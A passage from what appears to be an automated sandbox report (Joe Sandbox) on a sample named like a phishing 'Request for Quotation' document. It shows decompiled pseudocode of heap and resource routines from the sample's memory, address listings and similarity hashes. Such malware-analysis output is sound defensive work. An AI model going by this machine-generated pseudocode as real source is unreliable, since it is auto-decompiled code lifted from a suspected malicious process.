															goto L64;
														}
														_t608 = _v92;
														_v188 = _t608 + 2;
														do {
															_t492 =  *_t608;
															_t608 = _t608 + 2;
															__eflags = _t492;
														} while (_t492 != 0);
														__eflags = _t608 - _v188 >> 1 - ( *_v144 & 0x0000ffff);
														if(_t608 - _v188 >> 1 != ( *_v144 & 0x0000ffff)) {
															_t483 = _v120;
															goto L72;
														}
														goto L163;
													} else {
														__eflags = _t605;
														if(_t605 < 0) {
															L72:
															_t638 =  &(_t483[2]);
															_v228 = _t638;
															_t486 = _t552;
															_v152 = _t486;
															_t599 = _v200;
															L70:
															_t487 = _t486 & 0x0000ffff;
															_v132 = _t487;
															_t566 = _t487;
															continue;
														}
														_t584 = _v92 - _t605;
														__eflags = _t584;
														L64:
														__eflags = _t584;
														if(__eflags == 0) {
															_t566 = _t483[1];
															__eflags = _t566;
															if(_t566 < 0) {
																goto L79;
															}
															_t621 = 0;
															__eflags = 0;
															_v172 = 0;
															goto L111;
														}
														if(__eflags >= 0) {
															goto L72;
														}
														_t582 = _v192;
														L67:
														_t599 = _t483 - 8;
														_v200 = _t599;
														__eflags = _v105;
														if(_v105 == 0) {
															_t583 = _t582 - 1;
															_v152 = _t583 & 0x0000ffff;
															_t485 = _t583 & 0x0000ffff;
														} else {
															_t485 = _t552;
															_v152 = _t485;
														}
														_t486 = _t485 & 0x0000ffff;
														goto L70;
													}
												}
												_t636 = _v80;
												goto L81;
											}
										}
										L112:
										_t550 = _a8;
										goto L84;
									}
								}
								_t566 = _t635;
								_t594 = L00A12F47(_t566, _t549, 2,  &_v188, _t566,  &_v92);
								_t621 = _v92;
								goto L46;
							}
							__eflags =  *((intOrPtr*)(_t566 + 0x74)) - 2;
							if( *((intOrPtr*)(_t566 + 0x74)) <= 2) {
								goto L207;
							}
							_t626 =  *(_t566 + 0x88);
							_v132 = _t626;
							__eflags = _t626;
							if(_t626 == 0) {
								goto L207;
							}
							_v188 =  *((intOrPtr*)(_t566 + 0x8c));
							__eflags = _t549;
							if(_t549 != 0) {
								L133:
								_t621 = _t626 + _t635;
								__eflags = _t621;
								goto L134;
							}
							__eflags = _t626 -  *((intOrPtr*)(_t566 + 0x54));
							if(_t626 <  *((intOrPtr*)(_t566 + 0x54))) {
								goto L133;
							}
							_t82 = _v120 + 0x18; // 0x18
							_t594 = _t82 + ( *(_t566 + 0x14) & 0x0000ffff);
							_t518 =  *(_v120 + 6) & 0x0000ffff;
							_v144 = _t518;
							_t566 = 0;
							__eflags = 0;
							while(1) {
								_v236 = _t566;
								_v212 = _t594;
								__eflags = _t566 - _t518;
								if(_t566 >= _t518) {
									break;
								}
								_t556 =  *((intOrPtr*)(_t594 + 0xc));
								__eflags = _t626 - _t556;
								if(_t626 < _t556) {
									L114:
									_t594 = _t594 + 0x28;
									_t566 = _t566 + 1;
									continue;
								}
								__eflags = _t626 -  *((intOrPtr*)(_t594 + 0x10)) + _t556;
								if(_t626 >=  *((intOrPtr*)(_t594 + 0x10)) + _t556) {
									_t518 = _v144;
									goto L114;
								}
								__eflags = _t594;
								if(_t594 == 0) {
									break;
								}
								_t621 =  *((intOrPtr*)(_t594 + 0x14)) - _t556 + _v132 + _t635;
								__eflags = _t621;
								L44:
								_v92 = _t621;
								_v100 = _v164;
								__eflags = _t621;
								if(_t621 == 0) {
									goto L207;
								}
								_t594 = 0;
								__eflags = 0;
								goto L46;
							}
							_t621 = 0;
							goto L44;
						}
					}
					_t21 = _t560 - 1; // 0x2
					if(_t21 > 2) {
						goto L30;
					}
					if(_t560 != 3) {
						_t630 = 0;
					} else {
						_t22 =  &(_t633[2]); // 0x64004c
						_t630 =  *_t22 & 0x0000ffff;
					}
					_v88 = _t630;
					_t527 =  *_t633;
					if(_t527 == 0x10 || _t527 == 0x18) {
						goto L199;
					} else {
						if((_t527 & 0xffff0000) != 0) {
							_t544 = E00A5E490(_t527, L"MUI");
							_t643 = _t643 + 8;
							__eflags = _t544;
							if(_t544 != 0) {
								goto L11;
							}
							_t594 = _a8;
							goto L199;
						}
						goto L11;
					}
				}
				if(_t560 == 4) {
					goto L147;
				}
				goto L4;
			}

0x00a2c1c5
0x00a2c1c7
0x00a2c1cc
0x00a2c1d7
0x00a2c1d8
0x00a2c1de
0x00a2c1e3
0x00a2c1e6
0x00a2c1e8
0x00a2c1ee
0x00a2c1f2
0x00a2c1f8
0x00a2c1fb
0x00a2c1fd
0x00a2c200
0x00a2c203
0x00a2c20c
0x00a2c20f
0x00a2c215
0x00a2c219
0x00a2c223
0x00a2c226
0x00a2c22c
0x00a2ce8b
0x00a2ce8e
0x00000000
0x00000000
0x00a7ae13
0x00a7ae13
0x00a2c762
0x00a2c765
0x00a2c76d
0x00a2c76e
0x00a2c76f
0x00a2c77d
0x00a2c77d
0x00a2c232
0x00a2c235
0x00000000
0x00000000
0x00a2c23d
0x00a2c240
0x00a2ca53
0x00a2ca56
0x00000000
0x00000000
0x00a2ca5c
0x00a2ca5c
0x00a2ca5e
0x00000000
0x00000000
0x00a2ca64
0x00a2ca67
0x00a2ca6d
0x00a2ca6d
0x00a2c24f
0x00a2c24f
0x00a2c252
0x00a2c258
0x00a2c261
0x00a2c266
0x00a2c39f
0x00a2c39f
0x00a2c3a1
0x00a2c3a4
0x00a2c3a7
0x00a2c3a9
0x00a2c3af
0x00a2c3b6
0x00a2c3b8
0x00a2c3bb
0x00a2c3be
0x00a2c3c6
0x00a2c3ca
0x00a2c3cc
0x00a2c3cf
0x00a2c3cf
0x00a2c3d2
0x00a2c3d2
0x00a2c3e8
0x00a2c3ea
0x00a2c3ed
0x00a2c3ef
0x00a2c4ae
0x00a2c4ae
0x00a2c4b0
0x00000000
0x00000000
0x00000000
0x00a2c3f5
0x00a2c3f5
0x00a2c3f9
0x00a2c3fe
0x00a2c401
0x00a2ca77
0x00a2ca7c
0x00a2ca7f
0x00a2ce62
0x00a2ce62
0x00a2c9d3
0x00a2c9d3
0x00a2c4b6
0x00a2c4b6
0x00a2c4b9
0x00a2c4bb
0x00a2ce69
0x00a2ce70
0x00000000
0x00a2ce70
0x00a2c4c1
0x00a2c4c7
0x00a2c4ce
0x00a2c4d5
0x00a2c4d7
0x00a2c4dd
0x00a2c4e3
0x00a2c4e5
0x00a2c4e8
0x00a2c4ec
0x00a2c4f0
0x00a2c4f6
0x00a2c500
0x00a2c500
0x00a2c500
0x00a2c502
0x00000000
0x00000000
0x00a2c508
0x00a2c510
0x00a2c511
0x00a2c517
0x00a2c519
0x00000000
0x00000000
0x00a2c51f
0x00a2c521
0x00a2c780
0x00a2c784
0x00a2c78a
0x00a2c78a
0x00a2c784
0x00a2c527
0x00a2c52e
0x00a2c79b
0x00a2c79f
0x00a2c7a8
0x00a2c7ab
0x00a2c7ab
0x00a2c7ab
0x00a2c7af
0x00000000
0x00a2c534
0x00a2c534
0x00a2c534
0x00a2c538
0x00a2c538
0x00a2c53b
0x00a2c541
0x00a2c543
0x00a2c546
0x00a2c546
0x00a2c54b
0x00a2c551
0x00a2c556
0x00a2c559
0x00a2c55f
0x00a2c55f
0x00a2c563
0x00a2c566
0x00a2cdc9
0x00a2cdce
0x00a2cdd4
0x00a2cdd7
0x00a7af3f
0x00a7af3f
0x00a7af42
0x00a7af5d
0x00a2cde2
0x00a2cde2
0x00a2cde5
0x00a2cdea
0x00a2cdec
0x00a2cdf3
0x00a2cdf7
0x00a2cdfa
0x00a2cdfc
0x00a2cdff
0x00a2ce02
0x00a2ce04
0x00000000
0x00000000
0x00a7af67
0x00a7af6a
0x00000000
0x00a7af70
0x00a7af70
0x00a7af78
0x00a7af7e
0x00a7af84
0x00a7af87
0x00a7af8b
0x00000000
0x00000000
0x00000000
0x00a7af8b
0x00a2ce0f
0x00a2ce0f
0x00a2ce12
0x00a2c2a8
0x00a2c2a8
0x00a2c2af
0x00a2c2b9
0x00a2c2c6
0x00a2c2d0
0x00a2c2d2
0x00a2c2d8
0x00a2cc01
0x00a2cc01
0x00a2cc06
0x00a2c31f
0x00a2c322
0x00a2c324
0x00a2c32d
0x00000000
0x00000000
0x00a2c32f
0x00a2c334
0x00a2c33d
0x00a2c341
0x00a2c344
0x00a2c34a
0x00a7ae74
0x00a2c350
0x00a2c350
0x00a2c350
0x00a2c350
0x00a2c353
0x00a2c359
0x00a7ae7b
0x00a2c35f
0x00a2c35f
0x00a2c35f
0x00a2c35f
0x00a2c362
0x00a2c369
0x00a2cc0e
0x00a2cc11
0x00a2cc11
0x00a2c377
0x00a2c381
0x00a2c381
0x00a2c384
0x00000000
0x00a2c384
0x00a2c2e0
0x00a2cb6d
0x00a2cb74
0x00a2cb7b
0x00a2cb90
0x00a2cb92
0x00a2cb97
0x00a2cb9d
0x00a2cb9f
0x00a2cd93
0x00a2cd93
0x00a2cd95
0x00a2cd98
0x00a2cbe6
0x00a2cbe6
0x00a2cbe8
0x00a2cbe9
0x00a2cbeb
0x00a2cbed
0x00a2cbee
0x00a2cbf4
0x00a2cbf9
0x00a2cbfb
0x00000000
0x00000000
0x00000000
0x00a2cbfb
0x00a2cbb6
0x00a2cbb8
0x00a2cbbd
0x00a2cbc3
0x00a2cbc5
0x00000000
0x00000000
0x00a2cbcb
0x00a2cbce
0x00a2cbd4
0x00a7ae4d
0x00a7ae52
0x00000000
0x00a7ae52
0x00a2cbda
0x00a2cbe4
0x00000000
0x00a2cbe4
0x00a2c2e6
0x00a2c2e9
0x00a2c2ed
0x00a2c2ee
0x00a2c2f0
0x00a2c2f8
0x00a7ae5d
0x00a2c319
0x00a2c319
0x00a2c31c
0x00a2c31c
0x00000000
0x00a2c31c
0x00a2c2fe
0x00a2c308
0x00a7ae67
0x00a7ae6c
0x00a7ae6c
0x00a2c312
0x00000000
0x00a2c314
0x00a2c314
0x00000000
0x00a2c314
0x00a2c312
0x00a2c390
0x00a2c393
0x00a7ae31
0x00a7ae34
0x00000000
0x00000000
0x00a7ae3f
0x00a7ae42
0x00000000
0x00000000
0x00000000
0x00a2c399
0x00a2c399
0x00a2c399
0x00a2c399
0x00a2c39c
0x00000000
0x00a2c39c
0x00a2c393
0x00a7af44
0x00a7af47
0x00a7af53
0x00a7af49
0x00a7af49
0x00a7af49
0x00000000
0x00a7af47
0x00a2cddd
0x00000000
0x00a2c56c
0x00a2c56c
0x00a2c573
0x00a2c6be
0x00a2c6c1
0x00a2c6c4
0x00000000
0x00000000
0x00a2c6ca
0x00a2c6cc
0x00a2c6d4
0x00a2c6da
0x00a2c6da
0x00a2c6dd
0x00a2c6e3
0x00a2c6e5
0x00a2c6e8
0x00a2c6ea
0x00a2c873
0x00a2c873
0x00a2c875
0x00a2ce99
0x00a2ce9b
0x00000000
0x00000000
0x00a2cea4
0x00a2cea6
0x00a2c756
0x00a2c756
0x00a2c759
0x00a2c759
0x00a2c760
0x00000000
0x00a2c760
0x00a2c87b
0x00a2c87b
0x00a2c880
0x00a2c886
0x00a2c889
0x00a2cd00
0x00a2cd00
0x00a2cd03
0x00a2ce31
0x00a2ce31
0x00a2ce34
0x00a7ae89
0x00a7ae8e
0x00a7ae91
0x00a7ae91
0x00a7ae97
0x00a2cd11
0x00a2cd13
0x00a2cd15
0x00a2cd1c
0x00a2cd20
0x00a2cd23
0x00a2cd25
0x00a2cd28
0x00a2cd2b
0x00a2cd2d
0x00000000
0x00000000
0x00a2cd33
0x00a2cd36
0x00000000
0x00000000
0x00a2cd3c
0x00a2cd44
0x00a2cd4a
0x00a2cd50
0x00a2cd53
0x00a2cd57
0x00a7af91
0x00a7af94
0x00a7af94
0x00a2cd5d
0x00a2cd64
0x00a2cd67
0x00a2cd71
0x00a2cd73
0x00a2cd76
0x00a2cd78
0x00a2cd85
0x00a2cd89
0x00a2cd89
0x00000000
0x00a2cd78
0x00a7ae9d
0x00a7aea3
0x00000000
0x00000000
0x00000000
0x00a7aea9
0x00a2ce3a
0x00a2ce3f
0x00000000
0x00a2ce3f
0x00a2cd09
0x00a2cd0e
0x00000000
0x00a2cd0e
0x00a2c88f
0x00a2c894
0x00a2c897
0x00a2c89e
0x00000000
0x00000000
0x00a2c8a4
0x00a2c7b2
0x00a2c7b5
0x00a2c7b5
0x00a2c7b5
0x00a2c7b8
0x00a2c7bb
0x00a2c7be
0x00000000
0x00000000
0x00a2c7c4
0x00000000
0x00a2c7cd
0x00a2c7d1
0x00000000
0x00000000
0x00a2c7d7
0x00a2c7dd
0x00a2ce28
0x00000000
0x00a2ce28
0x00000000
0x00000000
0x00a2c8ba
0x00a2c8bc
0x00a2c8be
0x00a2c8c2
0x00a2c8c5
0x00a2c8c9
0x00a2c8cc
0x00a2c8ce
0x00a2c8d1
0x00a2c8d4
0x00a2c8d6
0x00000000
0x00000000
0x00a2c8dc
0x00a2c8e2
0x00a2c8e4
0x00a2c8e7
0x00a2c8ea
0x00a2c8ed
0x00a7aeae
0x00a2c8f3
0x00a2c8f3
0x00a2c8f3
0x00a2c8f6
0x00a2c8f9
0x00a2c8fc
0x00a7aeb5
0x00a2c902
0x00a2c902
0x00a2c902
0x00a2c905
0x00a2c908
0x00a2c90c
0x00a2ce1d
0x00a2ce20
0x00a2ce20
0x00a2c919
0x00a2c91c
0x00a2c91f
0x00a2c921
0x00a2c926
0x00a2c928
0x00a2c92b
0x00a2c92d
0x00000000
0x00a2c933
0x00a2c936
0x00a2c93a
0x00a2c93c
0x00a2c93e
0x00000000
0x00a2c93e
0x00000000
0x00a2c9db
0x00a2c9df
0x00000000
0x00000000
0x00a2c9e5
0x00000000
0x00000000
0x00a2c9ee
0x00a2c9f1
0x00000000
0x00000000
0x00a2c9f3
0x00a2c9f7
0x00000000
0x00000000
0x00a2c9fd
0x00a2ca00
0x00a2ca05
0x00a2ca07
0x00a2c8b3
0x00a2c8b3
0x00000000
0x00a2c8b3
0x00a2ca0d
0x00a2ca11
0x00a2ca14
0x00a2ca17
0x00a2ca1d
0x00a2ca1d
0x00000000
0x00000000
0x00a2ca25
0x00a2ca29
0x00a2ce7a
0x00a2ce7e
0x00a2ce83
0x00a2ca2f
0x00a2ca2f
0x00a2ca2f
0x00000000
0x00000000
0x00a2ca38
0x00a2ca3c
0x00000000
0x00000000
0x00000000
0x00000000
0x00a2c948
0x00a2c94c
0x00a2c94f
0x00a2c953
0x00a2c956
0x00000000
0x00000000
0x00a2c95c
0x00a2c95e
0x00a2c962
0x00a2c967
0x00a2c969
0x00a7aebc
0x00a7aebe
0x00a2cc22
0x00a2cc22
0x00000000
0x00a2cc22
0x00a2c975
0x00a2c97b
0x00a2c97f
0x00a2c985
0x00a2cc19
0x00a2cc19
0x00a2cc1b
0x00a2cc1f
0x00a2cc1f
0x00000000
0x00a2cc1f
0x00a2c98b
0x00a2c999
0x00a2c99d
0x00a2c9a4
0x00a2c9aa
0x00a2c9af
0x00a2c9b3
0x00a2c9b6
0x00a2c9b9
0x00000000
0x00000000
0x00a2c9bf
0x00a2c9c0
0x00a2c9c6
0x00a2c9c9
0x00000000
0x00000000
0x00a2cc2b
0x00a2cc2d
0x00a2cc2f
0x00a2cc34
0x00a2c7e3
0x00a2c7e3
0x00000000
0x00a2c7e3
0x00a7aecb
0x00a7aece
0x00a7aed3
0x00a7aed5
0x00000000
0x00a7aedb
0x00a7aedb
0x00a7aee1
0x00000000
0x00000000
0x00a7aee7
0x00a7aeea
0x00a7aeec
0x00000000
0x00000000
0x00a7aefc
0x00a7af08
0x00a7af0f
0x00a7af14
0x00a7af16
0x00000000
0x00000000
0x00a7af1c
0x00000000
0x00a7af1c
0x00000000
0x00000000
0x00a2cc3f
0x00a2cc3f
0x00a2cc43
0x00a2cc46
0x00a2cc4a
0x00a2cc4c
0x00a2cc4e
0x00a2cc53
0x00a7af28
0x00a7af2b
0x00000000
0x00a7af2b
0x00a2cc59
0x00a2cc61
0x00a7af33
0x00a7af37
0x00a2cc67
0x00a2cc67
0x00a2cc6d
0x00a2cc74
0x00a2cc78
0x00a2cc78
0x00000000
0x00000000
0x00a2cc84
0x00a2cc87
0x00a2cc8b
0x00a2cc91
0x00a2cc92
0x00a2cc94
0x00a2cc99
0x00a2cc9c
0x00a2cc9e
0x00000000
0x00000000
0x00a2cca4
0x00000000
0x00000000
0x00a2ccb0
0x00a2ccb4
0x00a2ccb7
0x00a2ccbb
0x00a2ccc1
0x00a2ccc2
0x00a2ccc4
0x00a2ccc9
0x00a2cccc
0x00a2ccce
0x00000000
0x00000000
0x00a2ccd4
0x00a2ccda
0x00a2cce0
0x00000000
0x00000000
0x00000000
0x00000000
0x00a2cceb
0x00a2c7e7
0x00a2c7e7
0x00a2c7eb
0x00a2c7eb
0x00a2c7ee
0x00a2c7ee
0x00000000
0x00000000
0x00a2ccf5
0x00a2ccf8
0x00a2c7f1
0x00a2c7f3
0x00a2c7f5
0x00a2c7f7
0x00a2c801
0x00a2c807
0x00a2c80a
0x00a2c80d
0x00a2c810
0x00a2c816
0x00a2c81c
0x00000000
0x00a2c81c
0x00a2c7fc
0x00a2c7ff
0x00000000
0x00000000
0x00000000
0x00000000
0x00a2c7c4
0x00a2ca42
0x00a2ca42
0x00a2ca49
0x00000000
0x00a2ca49
0x00a2c6f0
0x00a2c6f2
0x00000000
0x00000000
0x00a2c6fb
0x00a2c6fd
0x00a2c703
0x00a2c70a
0x00a2cda6
0x00a2cdbe
0x00a2cdbe
0x00a2c710
0x00a2c716
0x00a2c71d
0x00a2c72b
0x00a2c72e
0x00a2c742
0x00a2c751
0x00a2c751
0x00a2c754
0x00a2c754
0x00000000
0x00a2c754
0x00a2c579
0x00a2c579
0x00a2c57f
0x00a2c586
0x00a2c588
0x00a2c590
0x00a2c593
0x00a2c59c
0x00a2c59c
0x00a2c59d
0x00a2c5a0
0x00a2c5a6
0x00a2c5b0
0x00a2c5b0
0x00a2c5b2
0x00000000
0x00000000
0x00a2c5b8
0x00a2c5c1
0x00a2c5c4
0x00a2c5c7
0x00a2c65f
0x00a2c662
0x00000000
0x00000000
0x00a2c664
0x00a2c666
0x00a2c66c
0x00a2caa6
0x00a2caa8
0x00000000
0x00000000
0x00a2cab6
0x00a2cac4
0x00a2cac9
0x00a2cacc
0x00a2cace
0x00a2cad0
0x00000000
0x00000000
0x00a2cad6
0x00a2cadc
0x00a2cae2
0x00a2cae2
0x00a2cae5
0x00a2cae8
0x00a2cae8
0x00a2caf8
0x00a2cafa
0x00a2c67b
0x00a2c67b
0x00a2c67d
0x00000000
0x00000000
0x00a2c67f
0x00a2c682
0x00a2c684
0x00a2c84c
0x00a2c84f
0x00a2c851
0x00a2c69e
0x00a2c69e
0x00a2c6a4
0x00a2c6ad
0x00a2c6b0
0x00a2c6b3
0x00000000
0x00a2c6b3
0x00a2c68a
0x00a2c692
0x00a2c692
0x00a2c695
0x00000000
0x00a2c695
0x00000000
0x00a2cb00
0x00a2c672
0x00a2c674
0x00000000
0x00000000
0x00a2c679
0x00a2c679
0x00000000
0x00a2c679
0x00a2c5d5
0x00a2c5d8
0x00a2c5da
0x00a2c5e0
0x00a2c5e3
0x00a2c5e6
0x00a2c5e9
0x00a2c63e
0x00a2c641
0x00a2c641
0x00a2c5eb
0x00a2c5ed
0x00a2c5f3
0x00a2cb05
0x00a2cb07
0x00000000
0x00000000
0x00a2cb13
0x00a2cb16
0x00a2cb27
0x00a2cb2c
0x00a2cb2f
0x00a2cb31
0x00a2cb33
0x00a2cb65
0x00a2cb65
0x00000000
0x00a2cb65
0x00a2cb35
0x00a2cb3b
0x00a2cb41
0x00a2cb41
0x00a2cb44
0x00a2cb47
0x00a2cb47
0x00a2cb5d
0x00a2cb5f
0x00a7af9c
0x00000000
0x00a7af9c
0x00000000
0x00a2c5f9
0x00a2c5f9
0x00a2c5fb
0x00a2c646
0x00a2c646
0x00a2c649
0x00a2c64f
0x00a2c651
0x00a2c657
0x00a2c630
0x00a2c630
0x00a2c633
0x00a2c636
0x00000000
0x00a2c636
0x00a2c600
0x00a2c600
0x00a2c602
0x00a2c602
0x00a2c604
0x00a2c839
0x00a2c83c
0x00a2c83e
0x00000000
0x00000000
0x00a2c844
0x00a2c844
0x00a2c846
0x00000000
0x00a2c846
0x00a2c60a
0x00000000
0x00000000
0x00a2c60c
0x00a2c612
0x00a2c612
0x00a2c615
0x00a2c61b
0x00a2c61f
0x00a2c827
0x00a2c82b
0x00a2c831
0x00a2c625
0x00a2c625
0x00a2c627
0x00a2c627
0x00a2c62d
0x00000000
0x00a2c62d
0x00a2c5f3
0x00a2c69b
0x00000000
0x00a2c69b
0x00a2c566
0x00a2c85c
0x00a2c85c
0x00000000
0x00a2c85c
0x00a2c500
0x00a2ca95
0x00a2ca9c
0x00a2ca9e
0x00000000
0x00a2ca9e
0x00a2c407
0x00a2c40b
0x00000000
0x00000000
0x00a2c411
0x00a2c417
0x00a2c41a
0x00a2c41c
0x00000000
0x00000000
0x00a2c428
0x00a2c42e
0x00a2c430
0x00a2c9d1
0x00a2c9d1
0x00a2c9d1
0x00000000
0x00a2c9d1
0x00a2c436
0x00a2c439
0x00000000
0x00000000
0x00a2c449
0x00a2c44c
0x00a2c44e
0x00a2c452
0x00a2c458
0x00a2c458
0x00a2c45a
0x00a2c45a
0x00a2c460
0x00a2c466
0x00a2c468
0x00000000
0x00000000
0x00a2c46e
0x00a2c471
0x00a2c473
0x00a2c86a
0x00a2c86a
0x00a2c86d
0x00000000
0x00a2c86d
0x00a2c47e
0x00a2c480
0x00a2c864
0x00000000
0x00a2c864
0x00a2c486
0x00a2c488
0x00000000
0x00000000
0x00a2c496
0x00a2c496
0x00a2c498
0x00a2c498
0x00a2c4a1
0x00a2c4a4
0x00a2c4a6
0x00000000
0x00000000
0x00a2c4ac
0x00a2c4ac
0x00000000
0x00a2c4ac
0x00a7ae82
0x00000000
0x00a7ae82
0x00a2c3ef
0x00a2c26c
0x00a2c272
0x00000000
0x00000000
0x00a2c27b
0x00a7ae1d
0x00a2c281
0x00a2c281
0x00a2c281
0x00a2c281
0x00a2c285
0x00a2c289
0x00a2c28e
0x00000000
0x00a2c29d
0x00a2c2a2
0x00a2ce4d
0x00a2ce52
0x00a2ce55
0x00a2ce57
0x00000000
0x00000000
0x00a7ae24
0x00000000
0x00a7ae24
0x00000000
0x00a2c2a2
0x00a2c28e
0x00a2c249
0x00000000
0x00000000
0x00000000

Strings

MUI, xrefs: 00A2C2EE, 00A2CB6D, 00A2CE47

Memory Dump Source

Source File: 0000000A.00000002.315066564.00000000009F0000.00000040.00000001.sdmp, Offset: 009F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_9f0000_Request_For_Quotation#234242_signed_copy_document_september_rfq.jbxd

Similarity

API ID:
String ID: MUI
API String ID: 0-1339004836
Opcode ID: 8f8bd18fba95e739aff9fb420cbd3d3bfa2f23849dd5188fffb423c7d773a96f
Instruction ID: ea2edeca07ff691a9445c262404e3875421dfe5746770745663317587792139f
Opcode Fuzzy Hash: 8f8bd18fba95e739aff9fb420cbd3d3bfa2f23849dd5188fffb423c7d773a96f
Instruction Fuzzy Hash: 4E725B75E00229DFDB24CFA8D980BADB7B1BF48364F24817AE859AB241D7349D85CF50

Uniqueness

Uniqueness Score: -1.00%

Function 00ABEB8A, Relevance: 1.8, Strings: 1, Instructions: 599
COMMONCrypto

Download Yara Rule

C-Code - Quality: 71%

			E00ABEB8A(signed int __ecx, signed int __edx, char _a4) {
				signed int _v8;
				signed int _v12;
				signed int _v20;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed int _t258;
				signed int _t260;
				signed int _t261;
				signed char _t262;
				signed int _t263;
				char* _t264;
				signed int _t265;
				intOrPtr _t267;
				signed int _t271;
				signed char _t272;
				signed short _t273;
				signed int _t277;
				signed char _t281;
				signed short _t283;
				signed short _t288;
				signed char _t289;
				signed short _t290;
				signed short _t292;
				signed short _t294;
				signed char _t295;
				intOrPtr _t296;
				signed int _t297;
				signed char _t298;
				unsigned int _t302;
				intOrPtr* _t303;
				signed int _t304;
				unsigned int _t306;
				signed short _t307;
				signed short _t308;
				signed int _t311;
				signed short _t314;
				signed short _t326;
				signed char _t329;
				signed short _t330;
				signed int _t332;
				void* _t333;
				signed short _t337;
				signed int _t339;
				void* _t340;
				signed short _t344;
				signed int _t347;
				signed int _t349;
				signed int _t351;
				signed int _t359;
				signed short _t362;
				signed int _t369;
				signed int _t376;
				signed short _t377;
				signed short* _t378;
				signed short _t381;
				signed char _t383;
				signed short _t384;
				signed short _t385;
				signed int _t390;
				signed int _t393;
				void* _t400;
				signed short _t406;
				signed int _t407;
				signed short _t408;
				signed short _t409;
				signed short _t410;
				signed short _t411;
				intOrPtr _t415;
				signed int _t416;
				signed char _t417;
				signed int _t418;
				unsigned int _t423;
				unsigned int _t431;
				signed int _t437;
				signed int _t442;
				intOrPtr _t443;
				void* _t449;
				intOrPtr _t451;
				signed short _t453;
				signed int _t455;

				_t258 =  *0xb0d360 ^ _t455;
				_v8 = _t258;
				_t452 = __ecx;
				_t395 = __edx;
				if(( *(__ecx + 0x44) & 0x01000000) == 0) {
					__eflags =  *(__ecx + 0x40) & 0x61000000;
					asm("bt dword [edi+0x40], 0x1c");
					__eflags = (_t258 & 0xffffff00 | ( *(__ecx + 0x40) & 0x61000000) >= 0x00000000) & (__ecx & 0xffffff00 | __eflags != 0x00000000);
					if(__eflags == 0) {
						L5:
						_v12 = _v12 & 0x00000000;
						_t260 =  *_t395;
						_push(2);
						__eflags = _t260;
						if(_t260 != 0) {
							_t399 =  *(_t395 + 0xa) & 0x0000ffff;
							__eflags = _t399 & 0x00001002;
							if((_t399 & 0x00001002) == 0) {
								goto L25;
							}
							_t441 = _t399 & 0x00000002;
							__eflags = _t441;
							if(_t441 == 0) {
								L14:
								__eflags = _a4;
								if(_a4 == 0) {
									L17:
									_t453 =  *(_t395 + 4) + _t260;
									__eflags = _t399 & 0x00001000;
									if((_t399 & 0x00001000) != 0) {
										_t441 = _t260 - 0x18;
										_t399 = _t452;
										_t260 = E00ABD42F(_t452, _t260 - 0x18);
									}
									__eflags = _a4;
									if(_a4 == 0) {
										L21:
										_t451 =  *((intOrPtr*)(_t260 + 0x10));
										_t399 = 2;
										__eflags = _t451 - _t452 + 0xa4;
										if(_t451 == _t452 + 0xa4) {
											__eflags =  *((intOrPtr*)(_t452 + 0xda)) - _t399;
											if( *((intOrPtr*)(_t452 + 0xda)) != _t399) {
												goto L62;
											}
											_t441 =  *(_t452 + 0xd4);
											goto L63;
										}
										_t441 = _t451 + 0xfffffff0;
										goto L63;
									} else {
										__eflags = _t453 -  *((intOrPtr*)(_t260 + 0x28));
										if(_t453 <  *((intOrPtr*)(_t260 + 0x28))) {
											goto L82;
										}
										goto L21;
									}
								}
								__eflags = _t441;
								if(_t441 == 0) {
									goto L17;
								}
								_t453 =  *(_t260 + 0x24);
								goto L82;
							} else {
								__eflags =  *((char*)(_t452 + 0xda)) - 2;
								if( *((char*)(_t452 + 0xda)) != 2) {
									_t437 = 0;
									__eflags = 0;
								} else {
									_t437 =  *(_t452 + 0xd4);
								}
								__eflags = _t260 - _t437;
								if(_t260 == _t437) {
									goto L61;
								} else {
									_t399 =  *(_t395 + 0xa) & 0x0000ffff;
									goto L14;
								}
							}
						} else {
							_t441 = _t452;
							L63:
							_t453 = 0;
							__eflags = _t441;
							if(_t441 != 0) {
								__eflags =  *((intOrPtr*)(_t452 + 0xda)) - _t399;
								if( *((intOrPtr*)(_t452 + 0xda)) != _t399) {
									_t359 = 0;
									__eflags = 0;
								} else {
									_t359 =  *(_t452 + 0xd4);
								}
								__eflags = _t441 - _t359;
								if(_t441 == _t359) {
									_t441 = _t395;
									E00AD6D15(_t452, _t395,  &_v12);
									goto L193;
								} else {
									 *_t395 = _t441;
									__eflags =  *(_t452 + 0x4c) - _t453;
									if( *(_t452 + 0x4c) == _t453) {
										_t362 =  *_t441 & 0x0000ffff;
									} else {
										_t377 =  *_t441;
										__eflags =  *(_t452 + 0x4c) & _t377;
										if(( *(_t452 + 0x4c) & _t377) != 0) {
											_t377 = _t377 ^  *(_t452 + 0x50);
											__eflags = _t377;
										}
										_t362 = _t377 & 0x0000ffff;
									}
									 *(_t395 + 4) = (_t362 & 0x0000ffff) << 3;
									 *(_t395 + 0xa) = _t399;
									 *(_t395 + 8) = _t453;
									 *(_t395 + 0xc) =  *((intOrPtr*)(_t441 + 0x20)) -  *(_t441 + 0x2c) << 0xc;
									_t369 =  *(_t441 + 0x2c) << 0xc;
									 *(_t395 + 0x10) = _t369;
									__eflags =  *(_t441 + 0xc) & _t399;
									if(( *(_t441 + 0xc) & _t399) != 0) {
										_t376 = _t369 + 0x1000;
										__eflags = _t376;
										 *(_t395 + 0x10) = _t376;
									}
									 *(_t395 + 0x14) =  *((intOrPtr*)(_t441 + 0x24)) + (( !( *( *((intOrPtr*)(_t441 + 0x24)) + 2)) & 0x00000001) + 1) * 8;
									 *((intOrPtr*)(_t395 + 0x18)) =  *((intOrPtr*)(_t441 + 0x28));
									L82:
									__eflags = _t453;
									if(_t453 == 0) {
										L193:
										_t263 = E00A37D50();
										__eflags = _t263;
										if(_t263 == 0) {
											_t264 = 0x7ffe0380;
										} else {
											_t264 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x226;
										}
										__eflags =  *_t264;
										if( *_t264 != 0) {
											_t267 =  *[fs:0x30];
											__eflags =  *(_t267 + 0x240) & 0x00000001;
											if(( *(_t267 + 0x240) & 0x00000001) != 0) {
												__eflags = _v12 - 0x8000001a;
												if(_v12 != 0x8000001a) {
													E00AD1BA8(_t452);
												}
											}
										}
										_t265 = _v12;
										goto L201;
									}
									_t272 =  *((intOrPtr*)(_t453 + 7));
									__eflags = _t272 & 0x00000040;
									if((_t272 & 0x00000040) == 0) {
										__eflags = _t272 - 4;
										if(_t272 != 4) {
											_t273 = _t453;
